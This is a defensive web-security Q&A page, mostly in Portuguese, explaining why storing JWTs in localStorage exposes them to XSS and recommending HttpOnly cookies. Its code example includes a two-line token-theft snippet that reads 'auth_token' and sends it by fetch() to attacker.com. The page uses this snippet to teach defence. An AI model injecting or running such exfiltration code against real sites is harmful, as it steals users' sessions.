Por que você não deve armazenar JWTs no LocalStorage?
Armazenar tokens no localStorage os expõe à exfiltração imediata em caso de vulnerabilidades Cross-Site Scripting (XSS). O uso de cookies com os atributos HttpOnly, Secure e SameSite bloqueia o acesso via JavaScript e protege a sessão.
Detailed Technical Explanation
Qualquer script executado na página possui acesso total ao window.localStorage. Em caso de XSS ou dependências de terceiros comprometidas, o invasor pode extrair o token com um único comando. Cookies HttpOnly são gerenciados pelo navegador e inacessíveis ao DOM.
Technical Example & Code
Qualquer script injetado no navegador pode ler o conteúdo do localStorage.
// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));
// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!Why This Is the Case (Underlying Architectural Rationale)
"A Política de Mesma Origem (SOP) não impede que scripts maliciosos injetados dentro do próprio domínio leiam dados do armazenamento local."
Common Misconception vs Reality
"O localStorage é seguro porque outros sites não podem lê-lo diretamente."
Outros sites não leem diretamente, mas um ataque XSS dentro do seu site lê instantaneamente qualquer token gravado no localStorage.
Related Curious-Techie Resources
Cookies vs LocalStorage: In-Depth Technical Comparison →
Detailed analysis of storage lifetimes, XSS exposure, CSRF mitigations, and performance.
Interactive ToolSecurity Headers Checker →
Audit your website for HttpOnly cookie enforcement, CSP protection, and transport security.
Developer ReferenceWhat is a Cookie? Protocol Definition →
Related Questions in the Q&A Knowledge Base
Yes, standard JSON Web Tokens (JWS) are signed, not encrypted. The header and payload are merely Base64URL-encoded strings that anyone can decode and read in plaintext without knowing the secret key.
Using 'unsafe-inline' in a Content Security Policy defeats XSS protection because it instructs the browser to execute any inline script found in the HTML. Since Cross-Site Scripting works by injecting malicious inline script tags or event handlers, 'unsafe-inline' allows the attacker's payload to run freely.
Authentication (AuthN) verifies who a user is (identity confirmation), while Authorization (AuthZ) determines what permissions or resources that authenticated user is allowed to access.
Ecossistema Técnico Relacionado e Próximos Passos
Artigos Técnicos Relacionados
What Is a JSON Web Token (JWT)?
Direct definition and architectural breakdown of stateless token exchange.
JWT vs Session-Based Authentication: Architecture & Performance
Compare database session lookups with stateless JWT verification across scalability and revocation.
Troubleshooting: JWT Works in Postman but Fails in Browser
Diagnose and remediate CORS header stripping, HttpOnly cookie constraints, and preflight authorization failures.
Laboratórios Práticos de Diagnóstico
Especificações e Referências para Desenvolvedores
Continuar Aprendendo
JWT Interactive Tampering & Validation Lab
Put your theoretical understanding into practice by tampering with claims and testing signature rejection in the live sandbox.